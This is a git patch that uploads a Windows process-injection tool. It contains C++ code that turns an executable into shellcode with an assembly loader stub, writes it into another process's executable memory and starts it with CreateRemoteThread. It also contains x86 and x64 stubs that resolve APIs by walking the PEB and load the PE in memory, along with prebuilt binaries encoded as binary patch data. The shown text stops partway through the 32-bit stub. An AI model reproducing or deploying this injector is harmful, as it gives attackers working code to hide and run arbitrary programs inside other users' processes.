From 89c280248c8d84a3979a5af6a3b8baf4cd552366 Mon Sep 17 00:00:00 2001 From: Mustafa Mahmoud <43878201+d35ha@users.noreply.github.com> Date: Fri, 28 Jun 2019 07:05:47 +0200 Subject: [PATCH] Add files via upload --- Utils/Utils.cpp | 98 +++++++++++++ Utils/Utils.h | 19 +++ bins/pe_to_shellcode32.exe | Bin 0 -> 11264 bytes bins/pe_to_shellcode64.exe | Bin 0 -> 13312 bytes pe_to_shellcode_injector.cpp | 159 +++++++++++++++++++++ stub/make.bat | 2 + stub/stub_x32.asm | 258 ++++++++++++++++++++++++++++++++++ stub/stub_x32.inc | 43 ++++++ stub/stub_x64.asm | 265 +++++++++++++++++++++++++++++++++++ stub/stub_x64.inc | 42 ++++++ stub_x32.bin | Bin 0 -> 595 bytes stub_x64.bin | Bin 0 -> 808 bytes 12 files changed, 886 insertions(+) create mode 100644 Utils/Utils.cpp create mode 100644 Utils/Utils.h create mode 100644 bins/pe_to_shellcode32.exe create mode 100644 bins/pe_to_shellcode64.exe create mode 100644 pe_to_shellcode_injector.cpp create mode 100644 stub/make.bat create mode 100644 stub/stub_x32.asm create mode 100644 stub/stub_x32.inc create mode 100644 stub/stub_x64.asm create mode 100644 stub/stub_x64.inc create mode 100644 stub_x32.bin create mode 100644 stub_x64.bin diff --git a/Utils/Utils.cpp b/Utils/Utils.cpp new file mode 100644 index 0000000..afe5511 --- /dev/null +++ b/Utils/Utils.cpp @@ -0,0 +1,98 @@ +#include "Utils.h" + +#pragma comment (lib, "ntdll.lib") + +#define CONSOLE_COLOR_GREEN 0xA +#define CONSOLE_COLOR_YELLOW 0xE +#define CONSOLE_COLOR_RED 0xC +#define CONSOLE_COLOR_WHITE 0x7 + +HANDLE hConsole = NULL; +CHAR ErrorMsg[MAX_PATH] = { 0 }; + +BOOL printf_success(LPCSTR _Format, ...) +{ + if (!hConsole) hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + va_list ArgList = NULL; + va_start(ArgList, _Format); + SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_GREEN); + printf("[+] "); + vprintf(_Format, ArgList); + SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_WHITE); + va_end(ArgList); + return TRUE; +}; + +BOOL printf_info(LPCSTR _Format, ...) +{ + if (!hConsole) hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + va_list ArgList = NULL; + va_start(ArgList, _Format); + SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_YELLOW); + printf("[!] "); + vprintf(_Format, ArgList); + SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_WHITE); + va_end(ArgList); + return TRUE; +}; + +BOOL printf_error(LPCSTR _Format, ...) +{ + if (!hConsole) hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + va_list ArgList = NULL; + va_start(ArgList, _Format); + SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_RED); + printf("[-] "); + vprintf(_Format, ArgList); + SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_WHITE); + va_end(ArgList); + return TRUE; +}; + +LPCSTR GetLastErrorFormat(ULONG dwErrorCode) +{ + if (dwErrorCode == -1) dwErrorCode = GetLastError(); + if (!FormatMessageA( + FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, + dwErrorCode, + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + ErrorMsg, + sizeof(ErrorMsg), + NULL)) + { + printf_error("Error at getting the last error format of code 0x%lx\n", dwErrorCode); + sprintf_s(ErrorMsg, "0x%lx", dwErrorCode); + }; + return ErrorMsg; +}; + +LPCSTR GetNtStatusFormat(NTSTATUS ntCode) +{ + ULONG dwErrorCode = RtlNtStatusToDosError(ntCode); + if (dwErrorCode == ERROR_MR_MID_NOT_FOUND) + { + printf_error("Error at getting the error code of ntstatus 0x%lx\n", ntCode); + sprintf_s(ErrorMsg, "0x%lx", dwErrorCode); + return ErrorMsg; + }; + return GetLastErrorFormat(dwErrorCode); +}; + +BOOL ReportBadPE(LPCSTR lpErrorStr) +{ + printf_error("Invalid or unsupported PE file, %s\n", lpErrorStr); + return TRUE; +}; + +BOOL ReportApiError(LPCSTR szApiName, LPCSTR szMsg) +{ + printf_error("Error at %s, %s, error code/msg = %s\n", szApiName, szMsg, GetLastErrorFormat(GetLastError())); + return TRUE; +}; + +BOOL ReportNtStastus(LPCSTR szApiName, NTSTATUS NtCode, LPCSTR szMsg) +{ + printf_error("Error at %s, %s, status code/msg = %s\n", szApiName, szMsg, GetNtStatusFormat(NtCode)); + return TRUE; +}; \ No newline at end of file diff --git a/Utils/Utils.h b/Utils/Utils.h new file mode 100644 index 0000000..3f5e689 --- /dev/null +++ b/Utils/Utils.h @@ -0,0 +1,19 @@ +#include +#include +#include + +#ifdef __GNUC__ +#define offsetof(type, member) __builtin_offsetof (type, member) +#endif + +#define GET_DIRECTORY_ENTRY(lpNtHeader, dwEntry) lpNtHeader->OptionalHeader.DataDirectory[dwEntry].VirtualAddress +#define GET_DIRECTORY_SIZE(lpNtHeader, dwEntry) lpNtHeader->OptionalHeader.DataDirectory[dwEntry].Size + +LPCSTR GetNtStatusFormat(NTSTATUS ntCode); +LPCSTR GetLastErrorFormat(ULONG dwErrorCode = -1); +BOOL printf_error(LPCSTR _Format, ...); +BOOL printf_info(LPCSTR _Format, ...); +BOOL printf_success(LPCSTR _Format, ...); +BOOL ReportBadPE(LPCSTR lpErrorStr); +BOOL ReportApiError(LPCSTR szApiName, LPCSTR szMsg); +BOOL ReportNtStastus(LPCSTR szApiName, NTSTATUS NtCode, LPCSTR szMsg); \ No newline at end of file diff --git a/bins/pe_to_shellcode32.exe b/bins/pe_to_shellcode32.exe new file mode 100644 index 0000000000000000000000000000000000000000..33820ecaccaaf1d3579527933e3045b1ae026162 GIT binary patch literal 11264 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 Xie4z{E1GZA!)tTG`xdGE?>zqrHlzW3 literal 0 HcmV?d00001 diff --git a/bins/pe_to_shellcode64.exe b/bins/pe_to_shellcode64.exe new file mode 100644 index 0000000000000000000000000000000000000000..05938e88f75d6b051268cd0bd594a0add3dda9cc GIT binary patch literal 13312 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 3) + { + LPCSTR szPeFile = argv[1]; + LPCSTR szStubFile = argv[2]; + DWORD dwPid = atoi(argv[3]); + + HANDLE hStubFile = NULL; + if (!(hStubFile = CreateFileA( + szStubFile, + GENERIC_READ, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + )) || INVALID_HANDLE_VALUE == hStubFile) + { + ReportApiError("CreateFileA", "cannot open the supplied stub file"); + return FALSE; + }; + + HANDLE hExeFile = NULL; + if (!(hExeFile = CreateFileA( + szPeFile, + GENERIC_READ, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + )) || INVALID_HANDLE_VALUE == hExeFile) + { + ReportApiError("CreateFileA", "cannot open the supplied exe file"); + return FALSE; + }; + + LARGE_INTEGER u32StubSize; + if (!GetFileSizeEx( + hStubFile, + &u32StubSize + )) + { + ReportApiError("GetFileSizeEx", "cannot get the size of the supplied stub file"); + return FALSE; + }; + + LARGE_INTEGER u32ExeSize; + if (!GetFileSizeEx( + hExeFile, + &u32ExeSize + )) + { + ReportApiError("GetFileSizeEx", "cannot get the size of the supplied exe file"); + return FALSE; + }; + + LPVOID lpShellcode = NULL; + if (!(lpShellcode = VirtualAlloc( + NULL, + (SIZE_T)(u32StubSize.QuadPart + u32ExeSize.QuadPart), + (MEM_COMMIT | MEM_RESERVE), + PAGE_READWRITE + ))) + { + ReportApiError("VirtualAlloc", "cannot allocate memory for the shellcode"); + return FALSE; + }; + + DWORD dwReadBytes = 0; + if (!ReadFile( + hStubFile, + lpShellcode, + (DWORD)u32StubSize.QuadPart, + &dwReadBytes, + NULL + ) || dwReadBytes != u32StubSize.QuadPart) + { + ReportApiError("ReadFile", "cannot read the stub file"); + return FALSE; + }; + + if (!ReadFile( + hExeFile, +#if defined(_M_X64) || defined(__amd64__) + (LPVOID)((ULONGLONG)lpShellcode + dwReadBytes), +#else + (LPVOID)((ULONGLONG)lpShellcode + dwReadBytes), +#endif + (DWORD)u32ExeSize.QuadPart, + &dwReadBytes, + NULL + ) || dwReadBytes != u32ExeSize.QuadPart) + { + ReportApiError("ReadFile", "cannot read the exe file"); + return FALSE; + }; + + HANDLE hProcess = NULL; + if (!(hProcess = OpenProcess( + PROCESS_ALL_ACCESS, + FALSE, + dwPid + ))) + { + ReportApiError("OpenProcess", "cannot open the target pid"); + return FALSE; + }; + + LPVOID lpAllocatedBase = NULL; + if (!(lpAllocatedBase = VirtualAllocEx( + hProcess, + NULL, + (SIZE_T)(u32StubSize.QuadPart + u32ExeSize.QuadPart), + (MEM_COMMIT | MEM_RESERVE), + PAGE_EXECUTE_READWRITE + ))) + { + ReportApiError("VirtualAllocEx", "cannot allocate at the remote process for the shellcode"); + return FALSE; + }; + + SIZE_T stWrittenBytes = 0; + if (!WriteProcessMemory( + hProcess, + lpAllocatedBase, + lpShellcode, + (SIZE_T)(u32StubSize.QuadPart + u32ExeSize.QuadPart), + &stWrittenBytes + ) || stWrittenBytes != u32StubSize.QuadPart + u32ExeSize.QuadPart) + { + ReportApiError("WriteProcessMemory", "cannot write at the remote process"); + return FALSE; + }; + + if (!CreateRemoteThread( + hProcess, + NULL, + 0, + (LPTHREAD_START_ROUTINE)lpAllocatedBase, + NULL, + 0, + NULL + )) + { + ReportApiError("CreateRemoteThread", "cannot create a new thread at the remote process"); + return FALSE; + }; + CloseHandle(hProcess); + } + else + { + printf("%s [exe] [stub] [pid]\n", argv[0]); + } + return TRUE; +} \ No newline at end of file diff --git a/stub/make.bat b/stub/make.bat new file mode 100644 index 0000000..9b63555 --- /dev/null +++ b/stub/make.bat @@ -0,0 +1,2 @@ +nasm -o stub_X32.bin -f bin stub_x32.asm +nasm -o stub_X64.bin -f bin stub_x64.asm \ No newline at end of file diff --git a/stub/stub_x32.asm b/stub/stub_x32.asm new file mode 100644 index 0000000..81347f6 --- /dev/null +++ b/stub/stub_x32.asm @@ -0,0 +1,258 @@ +bits 32 +%include "stub_x32.inc" + +Init: + fs mov eax, dword [TEB_PPEB_OFFSET] + mov eax, dword [eax + PEB_PLDR_OFFSET] + mov esi, dword [eax + LDR_PIN_ORDER_MOD_LIST_OFFSET] + lodsd + xchg eax, esi + lodsd + mov ebp, dword [eax + LDR_MODULE_BASE_OFFSET] + mov eax, dword [ebp + IMAGE_DOS_HEADER_LFANEW_OFFSET] + mov ebx, dword [ebp + eax + IMAGE_NT_HEADER_ENTRY_EXPORT_OFFSET] + add ebx, ebp + mov esi, [ebx + EXPORT_TABLE_ADDR_OF_NAMES_OFFSET] + add esi, ebp + xor ecx, ecx +FindGetProcAddr: + inc ecx + lodsd + add eax, ebp + cmp dword [eax], STRING_OF_GETP + jnz FindGetProcAddr + cmp dword [eax + 0x4], STRING_OF_ROCA + jnz FindGetProcAddr + cmp dword [eax + 0x8], STRING_OF_DDRE + jnz FindGetProcAddr + mov esi, [ebx + EXPORT_TABLE_ADDR_OF_ORDINALS_OFFSET] + add esi, ebp + mov cx, [esi + ecx*2] + dec ecx + mov esi, [ebx + EXPORT_TABLE_ADDR_OF_FUNCTIONS_OFFSET] + add esi, ebp + mov edi, [esi + ecx*4] + add edi, ebp + jmp GetPERawBase +PERawBase: + mov esi, [esp] + add esi, dword [esi + IMAGE_DOS_HEADER_LFANEW_OFFSET] + call VirtualAlloc + db 'VirtualAlloc', 0h +VirtualAlloc: + push ebp + call edi + push eax + push PAGE_EXECUTE_READWRITE + push MEM_COMMIT | MEM_RESERVE + push dword [esi + IMAGE_NT_HEADER_SIZE_OF_IMAGE_OFFSET] + push dword [esi + IMAGE_NT_HEADER_BASE_OF_IMAGE_OFFSET] + call eax + pop ecx + mov ebx, eax + test eax, eax + jnz BuildIAT + push PAGE_EXECUTE_READWRITE + push MEM_COMMIT | 